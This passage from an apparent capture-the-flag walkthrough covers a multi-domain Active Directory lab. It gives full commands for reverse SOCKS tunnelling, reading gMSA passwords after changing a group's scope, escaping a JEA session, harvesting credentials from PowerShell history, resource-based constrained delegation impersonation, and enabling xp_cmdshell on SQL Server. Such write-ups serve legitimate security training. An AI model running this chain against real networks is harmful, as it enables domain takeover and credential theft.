- The hash calculated matched the value recorded on Kali, confirming that the transferred executable was identical to the downloaded file.

### Preparing the Linux Chisel Binary

- The **Linux AMD64** release was downloaded on the attacking machine:

```sh
wget -q --show-progress "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz"
```

![Downloading Linux Version of Chisel](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ebe64e39-6632-4c4f-8779-dfdf7db47cf5.png align="center")

- The compressed archive was extracted:

```sh
7z x chisel_1.12.0_linux_amd64.gz
```

- The executable permission was added:

```sh
chmod +x chisel
```

- Finally, its file type was verified:

```sh
file chisel
```

- With both binaries prepared, the tunnel could now be established.

### Starting the Chisel Server

- On the attacking machine, Chisel was started in server mode:

```sh
./chisel server -p 8001 --reverse --socks5
```

![Starting Chisel Server and Client](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/893b7e30-6f84-4766-8191-dbbe27c601a3.png align="center")

- The server started successfully.

### Connecting the Chisel Client from DC1

- With the server listening, the Windows client was started from the existing WinRM session:

```sh
.\chisel.exe client 10.10.15.37:8001 R:socks
```

- This instructed the client on DC1 to connect back to the Chisel server at `10.10.15.37:8001` and establish a reverse SOCKS proxy.
- The server confirmed that the connection had been established.

### Configuring Internal Domain Resolution

- Before using the tunnel, the internal domain controller needed to be resolvable by its hostname from Kali.
- The `/etc/hosts` file was updated to include `DC2`:

```shell
echo "192.168.2.2        DC2.pong.htb pong.htb DC2" | sudo tee -a /etc/hosts
```

![DC2.pong.htb Host Configuration](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6446f2f2-bf93-4bdd-9652-329598614637.png align="center")

- This ensured that applications on the attacking machine could resolve the internal domain controller's hostname to its internal IP address.

## Enumerating the PONG Domain Through the Tunnel

- With Chisel running and the hostname mapping in place, the next step was to verify access to DC2 through the SOCKS proxy:

```sh
proxychains -q nxc smb DC2.pong.htb 
```

- The **ProxyChains** utility forces supported network connections through the configured proxy. In this case, it routes the connection through the configured proxy.
- NetExec successfully identified the second domain controller.
- This confirmed that SMB communication with DC2 was working through the tunnel.

### Testing Cross-Domain Authentication

- Since `PING.HTB` and `PONG.HTB` had a **bidirectional forest-transitive trust relationship**, authentication using the existing `c.roberts` credentials were tested against DC2.
- First, SMB authentication:

```sh
proxychains -q nxc smb DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123' -k
```

![c.roberts pong.htb Credential Authentication](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f847bc16-23bc-4181-b803-83d9896bb458.png align="center")

- Authentication succeeded.
- LDAP authentication was then tested:

```sh
proxychains -q nxc ldap DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123' -k
```

- The output confirmed successful authentication.
- This demonstrated that `c.roberts` account from `PING.HTB` could authenticate to both SMB and LDAP services on DC2 through the established trust relationship.
- However, successful authentication does not automatically imply administrative access or authorization to every resource in the trusted domain. Further enumeration would be needed to establish what the account could access.
- Finally, WinRM authentication was tested against DC2:

```sh
proxychains -q nxc winrm DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123'
```

- The attempt failed miserably.
- This was consistent with the earlier WinRM authentication issue encountered on DC1.
- The NetExec WinRM invocation was unable to authenticate because the target did not support the NTLM authentication method used by that path. The result should therefore not be interpreted as proof that the account was denied WinRM access through every available authentication method.

## Enumerating `PONG.HTB` with RustHound-CE

- With access to `DC2.pong.htb` established through the Chisel tunnel, the next step is to collect Active Directory data from the second domain.
- The initial collection attempt fails with a Kerberos error:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q rusthound-ce -d pong.htb -f DC2.pong.htb -k -z
```

![Unsuccessful RustHound-CE Data Collection and KRB5 Configuration File Update](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/03acc3f8-78e6-4c15-9bc2-29e2ae520e8e.png align="center")

- The error indicates that Kerberos cannot locate a Key Distribution Center (KDC) for the `PONG.HTB` realm. Although the existing Kerberos configuration already contains the `PING.HTB` realm, it needs an entry for `PONG.HTB` as well.
- The configuration is updated to explicitly map both domains to their respective KDCs. The updated configuration is then exported for the current shell session so that Kerberos-aware tools use the correct realm information.
- With the configuration corrected, the collection succeeds:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q rusthound-ce -d pong.htb -f DC2.pong.htb -k -z
```

![Successful RustHound-CE Object Data Collection on DC2](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3747a298-d0ef-4a62-9ebd-f4f628eb37bf.png align="center")

- The archive is uploaded to BloodHound and the ingestion process is allowed to finish before examining the newly collected relationships.

### Identifying the `gMSA Managers` relationship

- After ingestion, viewing the `Member Of` relationship for `c.roberts` reveals that the account belongs to the `IT` group, and the `IT` has now ownership relationship with `GMSA MANAGERS@PONG.HTB`.

![IT Group Ownership of GMSA MANAGERS Group](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/988b932d-1aca-4c89-9dca-18cf97b1c286.png align="center")

![IT Group Owns GMSA MANAGERS Group](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/943c8838-3cfa-4ea0-b406-cabe34b81b12.png align="center")

- Further inspection of the `GMSA MANAGERS` group reveals an important outbound permission:
  - `GMSA MANAGERS` has `ReadGMSAPassword` over `GMSA$@PONG.HTB`.
  - It also has `ReadGMSAPassword` over `PONG_GMSA$@PONG.HTB`.

![GMSA MANAGERS Outbound Permissions](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/89c191ba-8969-47a2-a942-4127114e04fa.png align="center")

- This is particularly interesting because membership in `GMSA MANAGERS` would provide the ability to retrieve the managed passwords of these service accounts, subject to the relevant directory permissions.
- The immediate objective is therefore to become a member of `GMSA MANAGERS`.

### Inspecting the `GMSA MANAGERS` group

- Before modifying the group, its LDAP attributes are inspected using BloodyAD:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "GMSA MANAGERS"
```

![GMSA MANAGERS Object Enumeration with BloodyAD](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/905cbbd9-76b1-4abe-9718-97bbf5f56c80.png align="center")

- Among the returned attributes, two are particularly relevant: `groupType` and `member`.
- The `groupType` attribute identifies the group's scope and whether it is a security or distribution group.
- The other important attribute is `member`, which contains the group's current members. Querying it directly shows that the group has no members.

```sh
 KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "GMSA MANAGERS" --attr member
```

- The writable permissions of `c.roberts` are also checked:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get writable
```

![c.roberts Writable Permissions on DC2](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/754025b7-b8e8-43df-9b5c-3fcb24a7f830.png align="center")

- The relevant result is:

```plaintext
distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
DACL: WRITE
```

- This is significant. The account has permission to modify the group's **Discretionary Access Control List (DACL)**, which controls who can perform operations on the object.
- Before attempting to add the account, its SID is retrieved from the `PING.HTB` domain:

```sh
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get object c.roberts --attr objectSID
```

![c.roberts SID Retrieval](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/72540d92-a84f-4fe9-be7b-a4376a8af929.png align="center")

- The SID is used when adding `c.roberts` to the group in the other domain.

### Understanding the Group Scope Restriction

- The first attempt to add `c.roberts` to `GMSA MANAGERS` fails:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
```

![c.roberts membership addition to GMSA MANAGERS Failed Attempt](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1c7c633d-ce31-476b-801e-7767c58bdd9e.png align="center")

- At first, this appears to be a permissions issue. However, the writable DACL finding suggests that the group itself can be modified. The next step is to grant `c.roberts` broader control over the group and retry the operation:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add genericAll "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/02f6534b-f357-475b-8b9b-7fa0d12d3588.png align="center")

- `GenericAll` grants full control over the target object. This should provide the required object-level permissions to modify its membership.
- However, retrying the membership operation produces a different error:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
```

- The error reveals the actual restriction. The `GMSA MANAGERS` group belongs to `PONG.HTB`, while `c.roberts` belongs to `PING.HTB`. The group is configured with **Global scope**, and a global security group cannot contain members from another domain.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b9e4348-8cf9-45a1-bac3-e0dfa0d71e0e.png align="center")

- The issue is therefore not simply a missing permission. The group's scope prevents the intended cross-domain membership.

### Understanding Active Directory Group Types

- Active Directory groups have different scopes that determine where their members can originate and where their permissions can be assigned.
- The `groupType` attribute is a **bitmask**. Its signed integer representation can be used to identify the group scope and type:
  - `Global Security Group (-2147483646)`
  - `Domain Local Security Group (-2147483644)`
  - `Universal Security Group (-2147483640)`
- **Global groups** can contain accounts and groups from their own domain. They are commonly used to organize users with similar roles.
- **Universal groups** can contain accounts and groups from any domain in the same forest. They are useful for consolidating membership across domains.
- **Domain Local groups** can contain accounts and groups from trusted domains and are commonly used to assign permissions to resources within their own domain.
- Since `c.roberts` belongs to `PING.HTB` and the target group belongs to `PONG.HTB`, the Global scope is preventing the membership change.

### Changing the Group Scope

- The current group type is confirmed once more:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr groupType
```

- A direct attempt to change the group from Global Security to Domain Local Security fails:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483644
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ec4fc4af-3906-4b38-8ea3-0de1e8c4bf2c.png align="center")

- Instead of changing directly from Global to Domain Local, the group scope must be changed through Universal first.
- The first modification changes the group to Universal Security:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483640
```

- The second modification changes it from Universal Security to Domain Local Security:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k set object "gMSA Managers" groupType -v -2147483644
```

- The new value is verified:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr groupType
```

- The group is now a Domain Local Security Group, allowing it to accommodate members from trusted domains.

### Adding `c.roberts` to `GMSA MANAGERS`

- With the group scope corrected, the membership operation can be attempted again:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/089bfe7e-0135-418e-b712-1954f6ee30fc.png align="center")

- This time the operation succeeds.
- The membership is verified by querying the group's `member` attribute:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "gMSA Managers" --attr member  
```

- Active Directory represents accounts from trusted external domains using **Foreign Security Principal (FSP)** objects. This explains why the membership is displayed as a SID-based object under the `ForeignSecurityPrincipals` container rather than as a normal user object in `PONG.HTB`.
- The important result is that `c.roberts` is now a member of `GMSA MANAGERS`, and the group has the `ReadGMSAPassword` permission over `PONG_GMSA$`.

## Retrieving the `PONG gMSA` Password

- The first attempt uses the existing Kerberos credential cache:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC2.pong.htb -k --use-kcache --gmsa
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b971ac67-898e-4faa-ba21-38e654c30dff.png align="center")

- The authentication succeeds, but the gMSA password is still not readable.
- The directory now recognizes `gMSA MANAGERS` as an authorized principal, but the existing Kerberos ticket was issued before the group membership change.
- Kerberos tickets contain authorization information, including group membership data. Consequently, an existing ticket may not reflect changes made to an account's group memberships.
- To obtain fresh authorization information, the old credential cache is removed and a new TGT is requested:

```sh
impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123'
```

- With the new issued ticket, the gMSA enumeration is repeated:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC2.pong.htb -k --use-kcache --gmsa
```

- This time the password retrieval succeeds.
- The NTLM hash and AES keys for `Pong_gMSA$` have now been retrieved. The key detail is that the account's newly refreshed Kerberos ticket reflects its updated authorization context, allowing the gMSA password retrieval to succeed.

### Checking the `gMSA` account in `PING.HTB`

- It is worth checking whether the same membership grants access to the other gMSA account identified earlier, `gMSA$@PING.HTB`.
- The enumeration is performed against `DC1.ping.htb`:

```sh
KRB5CCNAME=c.roberts.ccache proxychains -q nxc ldap DC1.ping.htb -k --use-kcache --gmsa
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8c86204a-88df-4642-956f-7704418dc57f.png align="center")

- Running the same command without ProxyChains:

```sh
KRB5CCNAME=c.roberts.ccache nxc ldap DC1.ping.htb -k --use-kcache --gmsa
```

- The password remains inaccessible because the `gMSA$` account in the `PING.HTB` has no principals listed under `PrincipalsAllowedToReadPassword`.
- This confirms that the newly obtained access applies to `Pong_gMSA$` in PONG.HTB; it does not automatically grant access to the separate gMSA account in `PING.HTB`.

## Authenticating as `Pong_gMSA$`

- Since NTLM authentication is disabled in the environment, the `AES256` key can be used to request a Kerberos TGT instead:

```sh
proxychains -q impacket-getTGT -aesKey 725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6 'pong.htb/Pong_gMSA$'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2bb8782a-aafc-4381-ad8c-8c455f703a9d.png align="center")

- The resulting ticket is used to authenticate against SMB and LDAP on `DC2.pong.htb`:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
```

- LDAP authentication is also successful:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
```

- The Kerberos ticket is valid and authentication as `Pong_gMSA$` is confirmed over both protocols.

### Enumerating `Pong_gMSA$` privileges

- With the new identity available, BloodHound is revisited to understand its domain relationships and potential attack paths.
- The account belongs to the `DOMAIN COMPUTERS` group. Its description also contains an interesting clue `JEA Enabled gMSA on DC1`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d234405d-9aaf-4dfb-bba3-fb2a4acad980.png align="center")

- This suggest that the account is intended to access a **Just Enough Administration (JEA)** endpoint on DC1. This is worth investigating, particularly because the earlier enumeration of DC1 uncovered a JEA configuration file.
- Before attempting remote access, the account's SMB shares and domain users are enumerated.

### SMB Shares

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache --shares
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a41a960a-4d5f-408c-8abb-bf45b162e257.png align="center")

- No interesting share access is evident from this enumeration.

### Domain Users

- The next step is to enumerate users in `PONG.HTB`:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache --users
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/04dbe34e-6a62-4190-90ae-202a4a75a994.png align="center")

### Writable Directory Permissions

- BloodyAD is used to identify objects that `Pong_gMSA$` can modify:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get writable 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8ed6bbb8-98c0-422c-a1b3-a51de623830d.png align="center")

- The account has write access over its own managed service account object, as well as permissions to create child objects in certain directory containers.

### Accessing DC1 through JEA

- The account description explicitly identifies `Pong_gMSA$` as a JEA-enabled service account on `DC1`. The next step is therefore to test whether it can establish a WinRM session with the first domain controller.
- The initial connection attempt fails:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c7519386-ed4c-4189-8393-72251b54a561.png align="center")

- This a Kerberos service principal resolution error. The client cannot find the expected service principal for the target hostname in the Kerberos database.
- The Kerberos configuration is reviewed and adjusted to disable **hostname canonicalization** and **reverse DNS Lookups**.
- The updated configuration is exported.
- The WinRM connection is attempted again:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
```

- The server returns a different response.
- Kerberos is now able to process the connection, but the WinRM endpoint denies access to the account.
- Given the earlier JEA configuration discovery and the account's description, this is consistent with a restricted JEA endpoint rather than unrestricted remote administration.

### Connecting to the Restricted JEA Endpoint

- The newer version of `evil-winrm-py` contains the `-c` configuration option and is installed directly from the project's Git repository:

```sh
uv tool install --force "evil-winrm-py[kerberos] @ git+https://github.com/adityatelange/evil-winrm-py"
```

- The connection is then attempted using the restricted configuration:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k -c restricted
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d983b29a-f56b-46e6-8068-e67eb8181f81.png align="center")

- This time, the connection succeeds.
- A restricted JEA session is now available.
- The available commands are checked:

```pwsh
Get-Command
```

- The available command set is extremely limited. Even a simple attempt to execute `whoami` directly fails.
- However, the session behaves differently when commands are submitted inside a PowerShell script block.
- Invoking `&{ dir }` takes a long time to execute so another faster approach was invoking CMD through a script block:

```pwsh
&{ cmd.exe /c dir }
```

### Examining the JEA Configuration Files

- Two files in the current user's Documents directory immediately stand out:
  - `ITAccess.psrc`
  - `JEAconfig_backup.pssc`
- The first is a PowerShell Role Capability file (`.psrc`). It defines the commands and capabilities exposed to a particular role.
- The second is a PowerShell Session Configuration file (`.pssc`). It defines how a remote PowerShell session is configured, including its session type, role definitions and execution context. `ITAccess.psrc`
- The contents of `ITAccess.psrc` are retrieved:

```pwsh
&{ cmd.exe /c type ITAccess.psrc }
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/21c69dc0-80ce-4280-ae31-f4710d2ade48.png align="center")

- This role capability file defines a limited set of commands, including service management, event log access, history retrieval and network configuration. It also restricts `Restart-Service` to the `Spooler` and `W32Time` services.
- The `LanguageMode` is set to `NoLanguage`, which is intended to prevent users from executing arbitrary PowerShell language constructs in a session configured with this role capability. `JEAconfig_backup.pssc`
- The backup session configuration is also inspected:

```pwsh
&{ cmd.exe /c type JEAconfig_backup.pssc }
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0baffe60-463d-40ef-b095-eb82bef276c5.png align="center")

- Nevertheless, the file provides useful context:
  - The intended session type is `RestrictedRemoteServer`.
  - The session is configured to use a virtual account.
  - The `ITAccess` role capability is referenced.
  - `Pong\C.Carlssen` appears in the role definition.

### Finding PowerShell Command History

- The user's directory tree is searched for additional files:

```pwsh
&{ cmd.exe /c dir /b /s .. }
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8d1acf81-2cd7-4f6d-9c7f-1f7065e21d4a.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/fd7890c1-77e2-441a-831d-cbb9ab22fb33.png align="center")

- Among the results is a PowerShell `PSReadLine` history file:

```plaintext
C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

- PowerShell's `PSReadLine` module maintains command history for interactive sessions. Depending on the user's activity and configuration, this file can contain commands previously entered into the shell.
- A broader search confirms the file's location:

```pwsh
&{ cmd.exe /c dir C:\Users\Pong_gMSA$\*history* /s /b /a }
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7471ba12-411a-40f0-971e-bc8a50c704aa.png align="center")

- The file is then read:

```pwsh
&{ cmd.exe /c type C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt }
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d9cdf9fd-a6c6-4109-829d-fe4d402cb095.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7384ee70-9213-447f-974e-e38d5092d255.png align="center")

- Among the historical commands, two lines stand out:

```plaintext
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c
```

- The JEA session has exposed a command history file containing credentials that were previously used to establish a remote session to `DC2.pong.htb`.

### Validating the discovered credentials

- Before exploiting the account's permissions, the credentials are validated against SMB and LDAP:
- SMB authentication:

```sh
proxychains -q nxc smb DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9dd0aae4-c54e-4fb5-8870-3840c380e052.png align="center")

- LDAP authentication:

```sh
proxychains -q nxc ldap DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
```

- Both authentication attempts succeed, confirming that the credentials are valid.
- The credentials are added to working notes.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/040a9b6c-6968-4e3d-bc89-d725319c2beb.png align="center")

## SQL Server Enumeration and Privilege Escalation

### Revisiting BloodHound

- With access as `c.carlssen`, the next step is to revisit BloodHound and examine the account's effective permissions.
- BloodHound reveals several interesting relationships:
- `c.carlssen` is a member of `IT SERVICE ADMINS`, which has `GenericWrite` permissions over `svc_ldap`, `svc_print` and `svc_sql`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/84a5c711-9789-48f8-9b15-0596eb9875b1.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7e5b2532-503e-4443-9aa8-8c530107a2d8.png align="center")

- The account is also a member of `IT SERVICE`, `REMOTE MANAGEMENT USERS` and `DOMAIN USERS`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/16beaf0e-4fe4-44e2-8422-a07cd6b3ceeb.png align="center")

- The `IT SERVICE` group contains `c.carlssen`, `p.sanchez` and `r.rupert`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/918b5c6f-5f0f-49a7-a5d7-cdc3d27fc000.png align="center")

- Most importantly, `svc_sql` has the `SQLAdmin` relationship over `DC2.PONG.HTB`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9b036262-215c-43fc-866d-54c90a0028cf.png align="center")

- This relationship provides a promising route into SQL Server. Although `c.carlssen` can access the database server, the account does not automatically inherit the administrative privileges assigned to `svc_sql`.

### Establishing a Session on DC2

- A Kerberos TGT is requested for `c.carlssen` using the recovered credentials:

```sh
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/871a9dcf-cbdb-4c69-aadf-2cf5fee965fb.png align="center")

- The ticket is saved and can be used to establish remote PowerShell session with DC2:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q evil-winrm-py -i DC2.pong.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9b2ffae5-4b93-4984-b3e7-3d66136825d7.png align="center")

- After connecting the current identity and available privileges are checked.
- The user's desktop contains the user flag.

### Enumerating SQL Server

- The `sqlcmd` utility is available on the target, allowing basic SQL Server queries to be executed from the remote PowerShell session.
- First, the current SQL identity is checked:

```sh
sqlcmd -S localhost -Q "SELECT SYSTEM_USER"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d60d4159-9e49-4c8f-b011-53bc7a9d258a.png align="center")

- The result identifies the session as `pong\C.Carlssen`. The SQL Server version can also be confirmed:

```sh
sqlcmd -S localhost -Q "SELECT @@VERSION"
```

- The instance is running **Microsoft SQL Server 2022 Express** on Windows Server 2022.
- Since command execution through SQL Server would provide another route to the operating system, an attempt is made to enable `xp_cmdshell`:

```sh
sqlcmd -S localhost -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
```

- The attempt fails with permission errors. The account does not have sufficient privileges to modify the server configuration or execute `RECONFIGURE`.
- This confirms that SQL Server is reachable, but the current database permissions are insufficient for operating system command execution.

### Kerberos Authentication to MSSQL

- The next attempt is to connect directly to SQL Server using **Impacket's** `mssqlclient.py` with Kerberos authentication:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5781469a-6520-4fbf-ad1d-f383f554116d.png align="center")

- The connection fails with an error indicating that the login originates from an untrusted domain. Enabling debug output reveals an important detail.
- The client is attempting to reuse a cached service ticket for a different service principal. A ticket issued for WinRM's HTTP service is not necessarily valid for SQL Server authentication.
- Regenerating the TGT removes the previously cached service ticket, but the connection still fails:

```sh
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9b5ab1dc-0462-49ae-ab79-a01091cc65de.png align="center")

- This points to an SPN mismatch. Rather than continuing to rely on Impacket's automatic SPN selection, the service principal registered for `svc_sql` is queried directly:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object svc_sql --attr servicePrincipalName
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d5f25569-99c5-42ce-b34c-cc8b56828a37.png align="center")

- The required service ticket can now be requested explicitly:

```sh
 proxychains -q impacket-getTGT -service 'mssqlsvc/dc2.pong.htb' 'pong.htb/c.carlssen:A()DUJ!@414'
```

- Checking the cache confirms that the correct ticket has been obtained.
- With the correct SPN ticket available, authentication to SQL Server succeeds:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c4a8c5df-788d-4bd8-b02f-f78fd41fa5c0.png align="center")

- However, the account is connected with the guest database role and still cannot enable `xp_cmdshell`.

### Abusing Resource-Based Constrained Delegation

- Returning to BloodHound reveals two members of the `DATABASE ADMINS` group:
  - `p.reiner`
  - `c.adam`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/dd843499-a59d-405e-8bf1-0584b600b356.png align="center")

- Since `p.reiner` has the database privileges required for the next stage, the objective is to impersonate this user when authenticating to SQL Server.
- The existing relationship between `c.carlssen` and `svc_sql` provides an opportunity to configure **Resource-Based Constrained Delegation (RBCD)**. The account can modify the relevant service account, allowing the `Pong_gMSA$` principal to impersonate users to services hosted by `svc_sql`.
- First, the previous Kerberos cache is removed and a fresh TGT is requested:

```sh
proxychains -q impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1cf990ba-4124-469d-8612-7cdaa16f1297.png align="center")

- BloodyAD is then used to configure the RBCD attribute on `svc_sql`:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add rbcd svc_sql 'Pong_gMSA$'
```

- The operation succeeds.
- With the delegation relationship in place, Impacket's `getST.py` is used to request a service ticket while impersonating `p.reiner`:

```sh
KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q impacket-getST -spn mssqlsvc/dc2.pong.htb -impersonate p.reiner -no-pass -k pong.htb/Pong_gMSA$
```

- The output confirms that the `S4U2Self` and `S4U2Proxy` operations completed successfully.
- This produces a service ticket for the MSSQL service with `p.reiner` as the impersonated identity.

### Gaining SQL Server Command Execution

- The newly generated ticket is used to authentication to SQL Server:

```sh
KRB5CCNAME=p.reiner@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache proxychains -q impacket-mssqlclient -windows-auth -no-pass -k DC2.pong.htb
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4e25255c-a093-42ce-a7ad-b52372607f1e.png align="center")

- This time, the SQL prompt identifies the session as belonging to `P.Reiner`.
- Unlike the previous connection, the session has the `dbo` role in the master database. This provides the required permissions to enable `xp_cmdshell`:

```plaintext
enable_xp_cmdshell
```

- The configuration changes succeed. Operating system command execution can now be tested:

```plaintext
xp_cmdshell whoami
```

